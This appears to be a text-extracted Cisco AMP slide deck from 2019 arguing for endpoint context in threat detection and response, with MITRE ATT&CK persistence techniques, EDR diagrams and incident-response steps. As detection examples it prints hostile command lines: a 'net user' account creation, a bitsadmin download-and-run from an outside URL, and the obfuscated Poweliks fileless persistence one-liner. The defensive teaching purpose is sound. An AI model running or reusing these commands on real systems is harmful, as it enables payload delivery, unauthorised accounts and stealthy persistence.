Cisco Threat Response Architecture

Why we need endpoint information

Thorsten Schranz
Advanced Malware Prevention (AMP)
2019-05-21
The history of Endpoint Protection

…the Strategy, Products and Malware must fit to be successful in the Future…
From Event to Context – what can be included

Event(s)
Event from various point of products.

Context
Includes much information. Events are one part only.
What is Threat Intelligence – Key Components

**Outcome**

- Sensor
- Intelligence
- Sharing

**Sensor**
Generates processable Data

**Intelligence**
Processes the Sensor Data

**Sharing**

Outcome
- Analysis data
- IOC data
- Behavior Information
- Relationship between Artifacts

Automated sharing and processing the Analysis Data with other Intelligences or Products
Threat Intelligence

Sharing
Threat Information
Cisco Products
3rd Integrations
Intelligence to Intelligence OR
Intelligence to Product

Intelligences
Co-Occurrence Model
Anomaly Detection, Trust Modeling,
Events Classification, Relationship
Modeling
Correlations, Artificial Intelligence
3rd Party Intelligence
Extensive Automation Framework,
Large Scale Datamining, Big Data
Analytics and automated detection
Generating an understanding
real world scenarios

OnPremise Intelligences

Sensors
on a world wide base
Network (NetFlow)
Content (Web, E-mail)
DNS based
File Analysis
3rd Party Feeds
Trusted Sources

© 2019 Cisco and/or its affiliates. All rights reserved. Cisco Confidential
Postulation – Single spot is not enough

Single Spot 1:1 Analysis

Multi Spot n:n Analysis

Protection + Sensor

Intelligence

Complexity

Protection

Mail
Web
IPS
NGFW
Endpoint

Known Bad

Unknown

Known Good

© 2019 Cisco and/or its affiliates. All rights reserved. Cisco Confidential
Postulation - Single spot is not enough

Single Spot (Sensor)

Multi Spot (Sensor)

Classify based on context

Context
Includes much information. Events are one part only.
Endpoint Challenge Example – 1:1 Volume

Counters by Talos

- 1.5M unique Samples Daily
- 20B Threats blocked/day
- 150B DNS entries daily
- 18.5B AMP queries/day
- 16B URLs/Web requests daily
- Threat Data processed: 120TB/day, 3.6PB/month

20min. with Win 10 (Procmon)

- 46M OS operation events
  - 8.7M File events
  - 11.5K Process events
  - 114K Network events
  - 35M Registry events

Result

- To much data to handle OnPremise
- To much data to handle directly on the client
- Threat Landscape is too complex to be handled on the endpoint only
- Another approach necessary
Endpoint Challenge Example – 1:n Complexity

Counters by Talos

- 1.5M unique Samples Daily
- 20B Threats blocked/day
- 150B DNS entries daily
- 18.5B AMP queries/day
- 16B URLs/Web requests daily
- Threat Data processed: 120TB/day, 3.6PB/month
Endpoint Challenge Example – 1:n Time Window

Behavior Cluster
Malicious behaviour cluster including hundreds/thousands/million artifacts and also including one or more Threat Events

N + = X

Event
Event Details

Information
Threat Feeds
Intelligences
Analytic Systems
Researcher

© 2019 Cisco and/or its affiliates. All rights reserved. Cisco Confidential
Endpoint Challenge Example – 1:n Timeline

Start
Something comes up at the endpoint.

1 of 46 Million

Configuration
Endpoint Configuration

Advanced Analytics
When needed?

Cloud and Intelligence
When querying cloud or other intelligences

Engines / Technologies
Protection Engines 1 to X

Event
Event Details

Information
Threat Feeds
Intelligences
Analytic Systems
Researcher

N + = X
Bad or not?

C:\Windows\system32\cmd.exe /c net user 'jmaldive' /add

Windows command-line Legitimes Windows Feature
User Mgmt. Tool
Argument: User mit Namen jmaldive hinzufügen
Bad or not?

Windows Update

"C:\Windows\System32\bitsadmin.exe" /transfer kiWDPYASe /download /priority foreground 

Command Line Arguments

https://www.uz.gov.ua/en/:7777/content

C:\trust.exe

Domain
- Category: Business
- Reputation: good
- IP-Reputation: good
- Status: Compromised?
Poweliks is a fileless click-fraud malware variant which resides within the registry. It maintains persistence by creating a registry key that makes use of rundll32 to execute javascript code to read Powershell from the Windows registry, which subsequently executes portable executable code in memory.

`rundll32.exe javascript:\..\mshtml,RunHTMLApplication ;eval(epdvnfou/xsjuf)==tdsjqu!mbohvbhf>ktdsjqu/fodpef?(,офx!BdujwYYPckfdu)(XTdsjqu/Tifmm/**/SfhSfbe)(ILDV][tpguxbsf][dmbttft][dmtje][bc9:13c5.1:db.5 cc7.c89e.b9g6:18:b9e6~][mpdmtfswfs43][b(*,=0tdsjqu?(*.replace(/./g,function(_){return%20String.fromCharCode(_.charCodeAt()-1);})))`
What is part of my Security Architecture??

Mitre: Techniques linked to tactics**
11 Tactics
300 Techniques
**..where we may not talk about....**

Combinations of Tactics and Techniques
Timeline

What happens
Threats?
Fileless?
Legitimate OS Feature Usage?

Impact
Product Strategy
Solution Design
Correlations in SIEM

What we talk about
Specific Single Topics!
E.g. Mimikatz
E.g. Detection Rate

** Source: https://mitre-attack.github.io/attack-navigator/enterprise/
Mitre ATT&CK

Mitre ATT&CK

Tactics linked to techniques.

- persistence
- initial-access
- command-and-control
- exfiltration
- collection
- lateral-movement
- execution
- credential-access
- discovery
- privilege-escalation
- defense-evasion
Mitre ATT&CK

**Tactics**

- persistence

**Bits and Jobs**

- .bash_profile and .bashrc
- accessibility features
- account manipulation
- appcert dlls

**New Service**

- lc_load_dylib_addition
- local job scheduling
- login item
- logon script
- lass driver

**Login Script**

- office application startup
- path interception
- plist modification
- port knocking
- port monitors
- rc.common
- re-open applications
- redundant access
- registry run keys / startup folder
- scheduled tasks

**Create Account**

- external remote access
- file system permission weakness
- hidden files and directories
- kernel modules and extensions
- launch agent
- launch demon

**Kernel Modules and Extensions**

- setuid and setgid
- shortcut modification
- sip and trust provider hijacking

**Scheduled Tasks**

- system items
- system firmware
- time providers
- trap
- valid accounts
- web shell
- windows management instrumentation
- winlogon helper dll
What is part of my architecture??

Network Layer

NGFW

NGIPS

Web

E-Mail

SOC

Mobile Users

Monitoring and Threat Hunting

C&C Info in Graphics

twitter.com

Endpoint

Windows command-line

Legitimate Windows Feature

VoIP Phones

Security Cameras

Thermostats

Printers

Threat Grid

Windows

command-line

Legitimate
Windows
Feature

Mobile Users

Monitoring
and Threat
Hunting

C&C Info in Graphics

twitter.com

Endpoint

Windows command-line

Legitimate Windows Feature

Mobile Users

Monitoring
and Threat
Hunting

C&C Info in Graphics

twitter.com

Endpoint

Windows command-line

Legitimate Windows Feature
The Race – Threats and Endpoint Strategy

- #Legitimate OS Feature usage
- #artifact
- #fileless
- #Command Line
- #Behavior
- #communication
- #file creation
- #payload
- #timline
- #Just-in-Time

Endpoint

© 2019 Cisco and/or its affiliates. All rights reserved. Cisco Confidential
The Race – Threats and Endpoint Strategy

- Step 1: Endpoint Connector and Backend
- Step 2: Backend Intelligence
- Step 3: Endpoint Monitoring
- Step 4: Moving Time and Resource intensive Processes from the Endpoint to the Backend
- Step 5: Analysis 7x24x365 in Backend

Endpoint Connector

Files
Process
Network
CMD
IOC

Prot. Engines

Analytics Process

Backend Management

SOAR and SIEM Capabilities

Endpoint Backend

Time
Resource
The Race – Threats and Endpoint Strategy

AMP Architecture and Platform

Endpoint Connector

Endpoint Backend

Files Process Network CMD IOC

Prot. Engines Analytics Process

Backend Management

3rd Party Integration Standards APIs

Threat Intelligence and Research Advanced Analytics Agentless Detection Perimeter & Network

Mail Web IPS NGFW

SOAR and SIEM Capabilities

Threat Intelligence and Research

Advanced Analytics

Agentless Detection

Perimeter & Network

3rd Party Integration Standards APIs

AMP Architecture and Platform
The Race – Threats and Endpoint Strategy

- Threat Intelligence and Research
- Advanced Analytics
- Agentless Detection
- Threat Response
- AMP for Endpoints
- Perimeter & Network
- 3rd Party Integration Standards APIs
- Mail
- Web
- IPS
- NGFW

© 2019 Cisco and/or its affiliates. All rights reserved. Cisco Confidential
The Race – Threats and Endpoint Strategy
Real World Example
Sophisticated Malware Example - Infection/Protection (CL)

- New Sample in the world
- New Attack vector
- New vulnerabilities

- Category: Business
- Reputation: good
- IP-Reputation: good
- Status: Compromised

- Binary Data
- Dynamic created Content
- Loaded from 3rd party
- Obfuscated Content
- Encrypted Content
- Looks like "waste"
- Partial Download
- HTTPS Traffic
- Hidden Protocol in HTTPS

- Code Injection
- In Memory Evasion
- Code generated

- Code Installation
- Malware installed

- OInfoP11.exe dropped, autom. executed, generates new Files
- OInfo11.ocx created, holds Payloads
- OInfo11.iso extracted, encrypted, compressed

- ews.exe

© 2019 Cisco and/or its affiliates. All rights reserved. Cisco Confidential
Sophisticated Malware Example – Infection/Protection (CL)

- New Sample in the world
- New Attack vector
- New vulnerabilities

- Category: Business
- Reputation: good
- IP-Reputation: good
- Status: Compromised

- Binary Data
- Dynamic created Content
- Loaded from 3rd party
- Obfuscated Content
- Encrypted Content
- Looks like "waste"
- Partial Download
- HTTPS Traffic
- Hidden Protocol in HTTPS

In Memory Evasion
- Code generated
- DECOY User
- PREVENT Detection
- WORKING Hidden, Stealthy, time-delayed
- Code Injection
- New Sample in the world
- New Attack vector
- New vulnerabilities

Disk
- OinfoP11.exe created
- Oinfo11.ocx created, holds Target.dll

Memory
- Oinfo11.iso extracted, encrypted, compressed

- Event OnAccess Scan?
- OnDemand Scan?
- Event not handled?

Behavior Cluster
Malicious behaviour cluster including hundreds/thousands/million artifacts and also including one or more Threat Events

- Code Installation
- Malware installed
- Code Injection
- New Attack vector
- New vulnerabilities

ews.exe Dropped Payload, auto-executed, generates new Files

OInfo11.iso extracted, encrypted, compressed

OInfo11.ocx created, holds Target.dll

OinfoP11.exe created

Code Installation
Malware installed

Code Injection
- Target.dll

- New Sample in the world
- New Attack vector
- New vulnerabilities

- Category: Business
- Reputation: good
- IP-Reputation: good
- Status: Compromised

- Binary Data
- Dynamic created Content
- Loaded from 3rd party
- Obfuscated Content
- Encrypted Content
- Looks like "waste"
- Partial Download
- HTTPS Traffic
- Hidden Protocol in HTTPS

- Event OnAccess Scan?
- OnDemand Scan?
- Event not handled?
Sophisticated Malware Example – Infection/Protection (CL)

- New Sample in the world
- New Attack vector
- New vulnerabilities
- Good?
- Malicious?
- Unknown?
- DECOY User
- PREVENT Detection
- WORKING Hidden, Stealthy, time-delayed
- Category: Business
- Reputation: good
- IP-Reputation: good
- Status: Clean
- Binary Data
- Dynamic created Content
- Loaded from 3rd party
- Obfuscated Content
- Encrypted Content
- Looks like "waste"
- Partial Download
- HTTPS Traffic
- Hidden Protocol in HTTPS

Artifact Dependencies
- Single File not malicious
- In Memory Entrenchment
- Code generated
- Infection/Protection (CL)

Infection Vector unknown

Which Artifacts are left for investigation?
- Which Information is available for investigation?

File less and persistant

No Sample, no Signature

C&C Communication

Time-to-detect infection cost

Data Loss

New Attack vector unknown

File less and persistant

© 2019 Cisco and/or its affiliates. All rights reserved. Cisco Confidential.
Endpoint Detection and Response Approach

Monitoring Engine
- Disk Activity
- Process Activity
- Command Line Monitoring

Connected Intelligences
- Stores and processes
- Monitoring data

Category: Business
- Reputation: good
- IP-Reputation: good
- Status: Compromised

Binary Data
- Dynamic created Content
- Loaded from 3rd party
- Obfuscated Content
- Encrypted Content
- Looks like “waste”
- Partial Download
- HTTPS Traffic
- Hidden Protocol in HTTPS

Monitoring Engine Diagram:
- Disk Activity
- Process Activity
- Command Line Monitoring

Code Installation
- Malware installed

Memory
- Code Injection
- Code Installation
- Malware installed

Disk
- Code Injection
- Code Installation
- Malware installed

ews.exe
- Dropped Payload, autoexec, generates new files

OInfoP11.exe
- Created, holds decryption info

OInfo11.ocx
- Created, holds decryption info

OInfo11.iso
- Extracted, encrypted, compressed

Code Injection
- Code Injection
- Code Injection
- Code Injection

Monitoring Engine
- Monitoring data
- Connected Intelligences
- Stores and processes

Monitoring Engine Approach:
- Monitoring Engine
- Disk Activity
- Process Activity
- Command Line Monitoring
**Endpoint Detection and Response Approach**

**Monitoring Engine**
- Disk Activity
- Process Activity
- Command Line Monitoring

**Connected Intelligences**
- Stores and processes
- Monitoring data

**Diagram Details**
- **Category:** Business
- **Reputation:** Good
- **IP-Reputation:** Good
- **Status:** Clean
- **Binary Data**
- **Dynamic created Content**
- **Loaded from 3rd party**
- **Obluscated Content**
- **Encrypted Content**
- **Looks like “waste”**
- **Partial Download**
- **HTTPS Traffic**
- **Hidden Protocol in HTTPS**

**Files and Processes**
- *OInfoP11.exe*
- *OInfo11.ocx*
- *OInfo11.iso*
- *ews.exe*
- *Dropped Payload, autoexec, generates new files*

**In Memory**
- **Entrenchment**
- **Code generated**

**Code Injection**
- **Malware installed**
- **HLP**
- **MSI**
- **SVC**
- **DLL**
- **ISO**
- **OCX**
- **EXE**

**Malware Execution**
- *ews.exe*
- *Dropped Payload, autoexec, generates new files*
- *OInfoP11.exe*
- *Created, holds decryption info*
- *OInfo11.ocx*
- *Created, holds encryption info*
- *OInfo11.iso*
- *Extracted, encrypted, compressed*
- *Code Injection*

**Code Installation Malware Installed**
- **Code Injection**

**Monitoring**
- Connected Intelligences
- Stores and processes
- Monitoring data
THREAT Response Architecture

Endpoint Architecture

Files
- Process
- Network
- CMD
- IOC

Prot. Engines
- Analytics
- Process

Backend Management

SOAR and SIEM Capabilities

Intelligences
- Storess and processes
- Monitoring data

Disk
Memory

Endpoint Detection and Response Approach

- Connected
- Intelligences
- Storess and processes
- Monitoring data

THREAT Response Architecture

Category: Business
Reputation: good
IP Reputation: good
Status: Clean

Dropped Payload, autom. executed, generates new files.
- EXE: ews.exe
- OInfoP11.exe created
- OCX: OInfo11.ocx created
- ISO: OInfo11.iso extracted, encrypted, compressed

© 2019 Cisco and/or its affiliates. All rights reserved. Cisco Confidential.
**IOC Event Detail Examples**

**File Detection**

<table>
<thead>
<tr>
<th>Description</th>
<th>PowerShell is a Windows utility that allows access to many Microsoft APIs within a shell environment. In this case, a script attempted to download a file or script to the local system and then execute it. Malware authors may use this to download items, rename them, execute and delete them with a single command.</th>
</tr>
</thead>
<tbody>
<tr>
<td>Fingerprint (SHA-256)</td>
<td>81335022...856fa6fa</td>
</tr>
<tr>
<td>File Name</td>
<td>powershell.exe</td>
</tr>
<tr>
<td>File Path</td>
<td>/C:/Windows/SysWoW64/WindowsPowerShell/v1.0/powershell.exe</td>
</tr>
<tr>
<td>Parent Fingerprint (SHA-256)</td>
<td>9d52813a...654077ff</td>
</tr>
</tbody>
</table>

**Monitoring (Sensor)**

**Intelligence**

**Generic IOC: Powershell Download**
Incident Management without Cisco Threat Response
Incident Response (IR) without Cisco Threat Response (CTR)

**Alert**
Malware Alert from a single point of product

**Verify**
Verify the event e.g. if further analysis is necessary

**Availability**
- Client not available
- User on PTO
- No Sensor
- Different Department

**Find**
Where, who, how, when....

**Deliver**
System back to user

**Timeline (Hours? Days? Weeks?)**

**Searching**
Search in Siem or other available Information Source, Logfiles and so on.

**Ticketing**
Defined Process?

**Disk Forensics**
OnDemand Scan
Manual Search
Knowledge?

**Format**
Most information lost

© 2019 Cisco and/or its affiliates. All rights reserved. Cisco Confidential
IR without CTR – C&C traffic alert!!

Alert by Next-Gen Network
- C&C Traffic Detected:
- Destination: 52.28.249.128 → Threat Intelligence?
- Source: 10.0.2.11 → Q, Q, Q, Q, Q, Q, ?
- Pcap Capture available?

Steps
What to do next?
- Q1 - Commodity/Targeted?
- Q2 - Persistency?
- Q3 - Ransom/Backups?
- Q4 - Lateral movement?
- Q5 - Clean/Format?

Timeline (Hours? Days? Weeks?)

Result
- a.Exe
- Hash: 92a6…………7a

Search in SiEM
- Search on Client
- Tools

Analysis Tools
- Process Explorer
- Wireshark
- Full Disk Forensics
- Other Tools

C&C Traffic Alert

Sources? Intelligences? Correlations?

Payload
- OS
- Hardware

Searching

© 2019 Cisco and/or its affiliates. All rights reserved. Cisco Confidential
Visibility with EPP Approach

Worstcase - Single Threat Event

Event does not show what really happened
Detection is often not Real-Time
No dependencies between artifacts and behaviour
Missing Information for OnPremise Intelligence
Missing legitimate OS functions and behaviour (chkdsk)
Understand Threat with EPP/EDR approach

**Device Trajectory**

**Application with vulnerability**

**PDF created**

**Established network connections**

**Execution**

Application X was executed by application Y

**Network**

**Activity**

Create, execute and network connection

**Activity**

Malicious File starts chkdsk.exe

**Chkdsk.exe**

Network connection and drops/executes a malicious file.

**IOC Vulnerability**

Application with vulnerability

Application X was executed by application Y

PDF created

Established network connections

Activity

Create, execute and network connection

Activity

Malicious File starts chkdsk.exe

Chkdsk.exe

Network connection and drops/executes a malicious file.
Demo: from Webtraffic to the endpoint
Thank you

...the Strategy, Products and Malware must fit to be successful in the future..